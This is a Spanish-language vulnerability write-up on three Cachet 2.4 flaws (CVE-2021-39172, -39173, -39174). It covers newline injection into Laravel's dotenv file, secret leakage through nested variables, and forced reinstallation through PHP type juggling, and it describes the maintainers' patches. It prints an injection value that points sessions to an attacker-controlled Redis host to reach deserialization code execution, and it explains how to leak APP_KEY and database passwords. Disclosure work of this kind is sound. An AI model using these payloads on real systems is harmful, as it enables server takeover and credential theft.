Cachet 2.4: Ejecución de Código a Través de Injección de Configuración en Laravel

No se realiza validación en los datos entrantes: siempre que la entrada de configuración ya exista, será reemplazada por un valor proveniente del parámetro. Si un atacante proporciona un valor que contiene nuevas líneas, creará nuevas entradas en el archivo dotenv y podría alterar funcionalidades a nivel de framework.

Nota: solo se utilizará la primera definición de una variable en un archivo dotenv; las subsiguientes serán ignoradas.

En proyectos Laravel, esta primitiva es suficiente para obtener ejecución arbitraria de código. La configuración inicial dotenv del archivo probablemente se verá así en la mayoría de las instancias:

.env:

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Los atacantes podrían reemplazar la clave CACHE_DRIVER y registrar un servidor Redis bajo su control como nuevo backend de sesión:

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

Después de enviar una solicitud que establece CACHE_DRIVER a este valor, el archivo dotenv se verá así:

.env:

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Dado que las sesiones de Laravel se serializan utilizando el formato nativo de PHP, se analizan con la función unserialize(). Esta es una debilidad conocida que puede aprovecharse para la ejecución de código arbitrario mediante una secuencia de objetos especialmente diseñados, un concepto llamado “cadenas pop”. La herramienta PHPGGC puede generar tales cadenas para proyectos de Laravel. 

Pueden existir otras formas de aprovechar la ejecución de comandos desde una inyección de nueva línea en un archivo dotenv, pero no profundizamos más en esta dirección de investigación. Mi equipo y yo tenemos curiosidad por saber si conoces otras técnicas, ¡aunque!

CVE-2021-39174: Fuga de configuración

Como describí en la sección anterior, uno puede tener control directo de lectura y escritura sobre los valores almacenados en el archivo dotenv. Escribir en este archivo finalmente conduce a la ejecución de código arbitrario, pero ¿puede también ser aprovechado por el hecho de que los valores de este archivo se muestran en la interfaz?

La documentación de vlucas/phpdotenv describe que soporta asignación de variables anidadas: al declarar una variable, puedes hacer referencia a una previamente declarada con la sintaxis ${NAME}.

Esta característica es conveniente: al hacer referencia a otra variable en una entrada del archivo de configuración dotenv y mostrar esta entrada en la interfaz, revela el valor de otra variable. 

Ya está ampliamente documentada la fuga de APP_KEY que conduce a ejecución de código si el driver de sesión está configurado en cookie, y esta primitiva también puede usarse para filtrar DB_PASSWORD y MAIL_PASSWORD para realizar ataques adicionales.

CVE-2021-39173: Reinstalación Forzada

La página de configuración no puede ser accedida si la instancia ya está instalada, como se implementa en el middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // ¡no está configurado entonces!      
         }        
         
         return $next($request);   
  } 
}

La verificación se basa únicamente en el valor de la configuración: si no está definido o está vacío, el middleware considerará que la instancia está instalada.

En caso de que te estés preguntando qué más puede evaluar como falso, aquí tienes un breve resumen del sistema de tipos de PHP durante las comparaciones hasta PHP 8. Las comparaciones se pueden realizar utilizando una verificación de igualdad (==) o una verificación de identidad (===). Las verificaciones de igualdad implican que no se tiene en cuenta el tipo de los operandos, y las cadenas se pueden convertir en números previamente. Este comportamiento se ha denominado “juggling de tipos” y se ha explotado en varias vulnerabilidades de la vida real (CVE-2017-1001000, CVE-2019-10231). En el caso de la comparación anterior, cualquier valor igual a una cadena vacía o “0” evaluará false y permitirá el acceso a las páginas de configuración.

El valor de app_name no se valida durante la actualización de la configuración en SettingsController@postSettings, en [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Por lo tanto, un usuario autenticado puede actualizarlo a un valor que evalúe como falso y luego acceder/configurar nuevamente para reinstalar la instancia con una nueva cuenta de administrador (elevación de privilegios) o explotar nuestra primera detección y obtener ejecución de código (recuerda, UpdateConfigCommandHandler también puede ser explotado desde este camino de código).

Parche

La vulnerabilidad de inyección de nueva línea (CVE-2021-39172) fue abordada mejorando la validación de los valores entrantes en UpdateConfigCommandHandler, rechazando cualquier modificación que contenga caracteres de nueva línea.

El error de filtración de configuración (CVE-2021-39174) fue más complejo de corregir, ya que no se pudo importar la última versión de la biblioteca dotenv debido a las dependencias existentes. En su lugar, se trasladó el código relevante para permitir que el controlador de comandos identifique si un valor contiene una variable anidada. 

Finalmente, no es posible forzar una reinstalación de instancias existentes (CVE-2021-39173) gracias a mejores verificaciones en el middleware afectado.

Cronograma

Resumen

En este artículo, analicé tres vulnerabilidades en Cachet y demostré la capacidad de apoderarse de instancias con solo permisos de usuario básicos utilizando archivos de configuración de Laravel. También describí los parches aplicados por los mantenedores y cómo previenen los ataques que presenté. 

Finalmente, mi equipo y yo queremos agradecer a los mantenedores del fork de FiveAI de Cachet por reconocer nuestro aviso y corregir estas vulnerabilidades de manera oportuna y profesional.